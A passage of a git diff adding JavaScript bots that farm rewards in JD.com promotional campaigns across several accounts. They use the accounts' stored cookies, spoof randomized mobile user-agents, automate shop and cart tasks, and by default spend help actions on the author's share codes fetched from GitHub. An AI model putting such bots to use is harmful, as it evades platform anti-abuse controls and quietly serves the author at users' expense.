console.log('助力结果:' + JSON.stringify(data)); + break; + case 'activityStarBackDrawPrize': + if (data.code === 0) { + if(data.data.prizeType === 0){ + console.log(`未抽中`); + }else{ + console.log(`恭喜你、可能抽中了(以明星小店奖励汇总为准)`); + } + } + console.log(JSON.stringify(data)); + break; + default: + console.log('异常'); + console.log(JSON.stringify(data)); + } +} + +function getPostRequest(body) { + const url = `https://api.m.jd.com/?${body}`; + const headers = { + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://prodev.m.jd.com/mall/active/34LcYfTMVLu6QPowsoLtk383Hcfv/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }; + return {url: url, headers: headers, body: ''}; +} + +async function getInfo() { + const url = `https://api.m.jd.com/?functionId=activityStarBackGetProgressInfo&body={%22starId%22:%22${$.uniqueId}%22,%22linkId%22:%22${$.linkID}%22}&_t=${Date.now()}&appid=activities_platform`; + const headers = { + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://prodev.m.jd.com/mall/active/34LcYfTMVLu6QPowsoLtk383Hcfv/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }; + let myRequest = {url: url, headers: headers}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + try { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.shareText}`); + $.helpCode = data.data.encryptPin; + $.info = data.data; + } + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/jd_summer_movement.js b/backUp/jd_summer_movement.js new file mode 100644 index 0000000..4558515 --- /dev/null +++ b/backUp/jd_summer_movement.js @@ -0,0 +1,1080 @@ +/* +燃动夏季 +活动时间:2021-07-08至2021-08-08 + +===================quantumultx================ +[task_local] +#燃动夏季 +7 0,6-23/2 * * * jd_summer_movement.js, tag=燃动夏季, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "7 0,6-23/2 * * *" script-path=jd_summer_movement.js, tag=燃动夏季 + +====================Surge================ +燃动夏季 = type=cron,cronexp="7 0,6-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_summer_movement.js + +============小火箭========= +燃动夏季 = type=cron,script-path=jd_summer_movement.js, cronexpr="7 0,6-23/2 * * *", timeout=3600, enable=true +*/ +const $ = new Env('燃动夏季'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const ShHelpFlag = true;//是否SH助力 true 助力,false 不助力 +const ShHelpAuthorFlag = true;//是否助力作者SH true 助力,false 不助力 +const OPEN_MEMBERCARD = (process.env.OPEN_MEMBERCARD && process.env.OPEN_MEMBERCARD === "true") ? true : false //默认不开通会员卡 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], uuid = '', UA = '', joyToken = ''; +$.cookie = ''; +$.inviteList = []; +$.secretpInfo = {}; +$.ShInviteList = []; +$.innerShInviteList = []; +$.groupInviteIdList = []; +$.appid = 'o2_act'; +let UAInfo = {}, joyTokenInfo = {} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log('活动入口:京东APP-》 首页-》 右边小窗口(点我赢千元)\n' + + '邀请好友助力:内部账号自行互助(排名靠前账号得到的机会多)\n' + + 'SH互助:内部账号自行互助(排名靠前账号得到的机会多),多余的助力次数会默认助力作者内置助力码\n' + + '店铺任务:已添加\n' + + '微信任务:已添加\n' + + '入会任务:已添加,默认不开通会员卡,如做入会任务需添加环境OPEN_MEMBERCARD变量为true\n' + + '活动时间:2021-07-08至2021-08-08\n' + + '脚本更新时间:2021-07-25 06:00\n' + ); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + UA = `jdapp;android;10.0.2;9;${randomString(28)}-73D2164353034363465693662666;network/wifi;model/MI 8;addressid/138087843;aid/0a4fc8ec9548a7f9;oaid/3ac46dd4d42fa41c;osVer/28;appBuild/88569;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 9; MI 8 Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36;` + uuid = UA.split(';') && UA.split(';')[4] || '' + await getToken(); + $.cookie = cookiesArr[i] + `joyytoken=50085${joyToken};` + `pwdt_id:${cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/) && cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/)[1]};`; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = '' + $.hotFlag = false; //是否火爆 + $.taskHotFlag = false + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + console.log(`\n如有未完成的任务,请多执行几次\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await movement() + UAInfo[$.UserName] = UA + joyTokenInfo[$.UserName] = joyToken + if($.hotFlag) $.secretpInfo[$.UserName] = false;//火爆账号不执行助力 + } + } + // 助力 + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_summer_movement_sh.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_sh.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_sh.json') || [] + } + let res2 = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_summer_movement.json') + if (!res2) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res2 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement.json') || [] + } + let res3 = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_summer_movement_run.json') + if (!res3) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_run.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res3 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_run.json') || [] + } + if (ShHelpAuthorFlag) { + $.innerShInviteList = getRandomArrayElements([...$.innerShInviteList, ...res], [...$.innerShInviteList, ...res].length) + $.ShInviteList.push(...$.innerShInviteList) + $.inviteList.push(...res2) + $.groupInviteIdList.push(...res3) + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i] + `pwdt_id:${cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/) && cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/)[1]};`; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + UA = UAInfo[$.UserName] + uuid = UA.split(';') && UA.split(';')[4] || '' + joyToken = joyTokenInfo[$.UserName]; + $.cookie += `joyytoken=50085${joyToken};` + $.canHelp = true; + + if (!$.secretpInfo[$.UserName]) { + continue; + } + + if (new Date().getUTCHours() + 8 >= 8) { + if ($.ShInviteList && $.ShInviteList.length) { + console.log(`\n******开始内部京东账号【百元守卫站SH】助力*********\n`); + for (let i = 0; i < $.ShInviteList.length && ShHelpFlag && $.canHelp; i++) { + console.log(`${$.UserName} 去助力SH码 ${$.ShInviteList[i]}`); + $.inviteId = $.ShInviteList[i]; + await takePostRequest('shHelp'); + await $.wait(2000); + } + } + $.canHelp = true; + } + if ($.inviteList && $.inviteList.length) { + console.log(`\n******开始内部京东账号【邀请好友助力】*********\n`); + for (let j = 0; j < $.inviteList.length && $.canHelp; j++) { + $.oneInviteInfo = $.inviteList[j]; + if ($.oneInviteInfo.ues === $.UserName || $.oneInviteInfo.max) { + continue; + } + $.inviteId = $.oneInviteInfo.inviteId; + console.log(`${$.UserName}去助力${$.oneInviteInfo.ues},助力码${$.inviteId}`); + await takePostRequest('help'); + await $.wait(2000); + } + $.canHelp = true; + } + if ($.groupInviteIdList && $.groupInviteIdList.length) { + console.log(`\n******开始内部京东账号【团队运动】助力*********\n`); + for (let j = 0; j < $.groupInviteIdList.length && $.canHelp; j++) { + $.oneGroupInviteIdInfo = $.groupInviteIdList[j]; + if ($.oneGroupInviteIdInfo.ues === $.UserName || $.oneGroupInviteIdInfo.max) { + continue; + } + $.inviteId = $.oneGroupInviteIdInfo.groupInviteId; + console.log(`${$.UserName}去助力${$.oneGroupInviteIdInfo.ues},团队运动助力码${$.inviteId}`); + await takePostRequest('help'); + await $.wait(2000); + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function movement() { + try { + $.signSingle = {}; + $.homeData = {}; + $.secretp = ``; + $.taskList = []; + $.shopSign = ``; + $.userInfo = '' + await takePostRequest('olympicgames_home'); + if (!$.secretpInfo[$.UserName]) { + console.log(`账户火爆还是去买买买吧`) + return + } + if($.homeData.result.popWindows) { + let res = $.homeData.result.popWindows + if(res.type == 'continued_sign_pop'){ + console.log(`签到获得: ${JSON.stringify($.homeData.result.popWindows.data || '')}`) + }else if(res.type == 'limited_time_hundred_pop'){ + console.log(`百元守卫战: ${JSON.stringify($.homeData.result.popWindows || '')}`) + }else{ + console.log(`弹窗信息: ${JSON.stringify($.homeData.result.popWindows)}`) + } + } + $.userInfo = $.homeData.result.userActBaseInfo; + console.log(`\n签到${$.homeData.result.continuedSignDays}天 待兑换金额:${Number($.userInfo.poolMoney)} 当前等级:${$.userInfo.medalLevel} ${$.userInfo.poolCurrency}/${$.userInfo.exchangeThreshold}(攒卡领${Number($.userInfo.cash)}元)\n`); + await $.wait(1000); + if($.userInfo && typeof $.userInfo.sex == 'undefined') { + await takePostRequest('olympicgames_tiroGuide'); + await $.wait(2000); + await takePostRequest('olympicgames_home'); + await $.wait(1000); + } + $.userInfo = $.homeData.result.userActBaseInfo; + if (Number($.userInfo.poolCurrency) >= Number($.userInfo.exchangeThreshold)) { + console.log(`满足升级条件,去升级`); + await takePostRequest('olympicgames_receiveCash'); + await $.wait(1000); + } + bubbleInfos = $.homeData.result.bubbleInfos; + for(let item of bubbleInfos){ + if(item.type != 7){ + $.collectId = item.type + await takePostRequest('olympicgames_collectCurrency'); + await $.wait(1000); + } + } + if($.homeData.result.pawnshopInfo && $.homeData.result.pawnshopInfo.betGoodsList) { + $.Reward = [] + for(let i in $.homeData.result.pawnshopInfo.betGoodsList){ + $.Reward = $.homeData.result.pawnshopInfo.betGoodsList[i] + if($.Reward.status == 1){ + console.log(`开奖:${$.Reward.skuName}`) + await takePostRequest('olympicgames_pawnshopRewardPop'); + await $.wait(1000); + } + } + } + console.log('\n运动\n') + $.speedTraining = true; + await takePostRequest('olympicgames_startTraining'); + await $.wait(1000); + for(let i=0; i<=3; i++){ + if($.speedTraining) { + await takePostRequest('olympicgames_speedTraining'); + await $.wait(1000); + } else { + break; + } + } + console.log(`\n做任务\n`); + if(!$.hotFlag) await takePostRequest('olympicgames_getTaskDetail'); + await $.wait(1000); + //做任务 + for (let i = 0; i < $.taskList.length && !$.hotFlag; i++) { + $.oneTask = $.taskList[i]; + if ([1, 3, 5, 7, 9, 21, 26].includes($.oneTask.taskType) && $.oneTask.status === 1) { + $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo; + for (let j = 0; j < $.activityInfoList.length && !$.hotFlag; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); + if ($.oneTask.taskType === 21 && OPEN_MEMBERCARD) { + let channel = $.oneActivityInfo.memberUrl.match(/channel=(\d+)/) ? $.oneActivityInfo.memberUrl.match(/channel=(\d+)/)[1] : ''; + const body = { + venderId: $.oneActivityInfo.vendorIds, + shopId: $.oneActivityInfo.ext.shopId, + bindByVerifyCodeFlag: 1, + registerExtend: {}, + writeChildFlag: 0, + channel: channel + } + let url = `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=h5&clientVersion=9.2.0&uuid=88888` + await openMemberCard(url, $.oneActivityInfo.memberUrl) + await $.wait(2000); + } + await takePostRequest('olympicgames_doTaskDetail'); + if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { + await $.wait(getRndInteger(7000, 8000)); + let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) + await callbackResult(sendInfo) + } else if ($.oneTask.taskType === 5 || $.oneTask.taskType === 3 || $.oneTask.taskType === 26) { + await $.wait(getRndInteger(1000, 2000)); + console.log(`任务完成`); + } else if ($.oneTask.taskType === 21) { + let data = $.callbackInfo + if(data.data && data.data.bizCode === 0) { + console.log(`获得:${data.data.result.score}`); + } else if(data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(JSON.stringify($.callbackInfo)); + } + await $.wait(getRndInteger(1000, 2000)); + } else { + console.log($.callbackInfo); + console.log(`任务失败`); + await $.wait(getRndInteger(2000, 3000)); + } + if($.taskHotFlag) break + } + } else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 2){ + console.log(`做任务:${$.oneTask.taskName};等待完成 (实际不会添加到购物车)`); + $.taskId = $.oneTask.taskId; + $.feedDetailInfo = {}; + await takePostRequest('olympicgames_getFeedDetail'); + let productList = $.feedDetailInfo.productInfoVos; + let needTime = Number($.feedDetailInfo.maxTimes) - Number($.feedDetailInfo.times); + for (let j = 0; j < productList.length && needTime > 0; j++) { + if(productList[j].status !== 1){ + continue; + } + $.taskToken = productList[j].taskToken; + console.log(`加购:${productList[j].skuName}`); + await takePostRequest('add_car'); + await $.wait(getRndInteger(1000, 2000)); + needTime --; + } + }else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 0){ + $.activityInfoList = $.oneTask.productInfoVos ; + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:浏览${$.oneActivityInfo.skuName};等待完成`); + await takePostRequest('olympicgames_doTaskDetail'); + if ($.oneTask.taskType === 2) { + await $.wait(getRndInteger(1000, 2000)); + console.log(`任务完成`); + } else { + console.log($.callbackInfo); + console.log(`任务失败`); + await $.wait(getRndInteger(2000, 3000)); + } + if($.taskHotFlag) break + } + } + if($.taskHotFlag) break + } + //==================================微信任务======================================================================== + $.wxTaskList = []; + if(!$.hotFlag) await takePostRequest('wxTaskDetail'); + for (let i = 0; i < $.wxTaskList.length; i++) { + $.oneTask = $.wxTaskList[i]; + if($.oneTask.taskType === 2 || $.oneTask.status !== 1){continue;} //不做加购 + $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo; + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); + await takePostRequest('olympicgames_doTaskDetail'); + if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { + await $.wait(getRndInteger(7000, 9000)); + let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) + await callbackResult(sendInfo) + } else { + await $.wait(getRndInteger(1000, 2000)); + console.log(`任务完成`); + } + if($.taskHotFlag) break + } + if($.taskHotFlag) break + } + + // 店铺 + console.log(`\n去做店铺任务\n`); + $.shopInfoList = []; + if(!$.hotFlag) await takePostRequest('qryCompositeMaterials'); + for (let i = 0; i < $.shopInfoList.length; i++) { + let taskbool = false + $.shopSign = $.shopInfoList[i].extension.shopId; + console.log(`执行第${i+1}个店铺任务:${$.shopInfoList[i].name} ID:${$.shopSign}`); + $.shopResult = {}; + await takePostRequest('olympicgames_shopLotteryInfo'); + await $.wait(getRndInteger(1000, 2000)); + if(JSON.stringify($.shopResult) 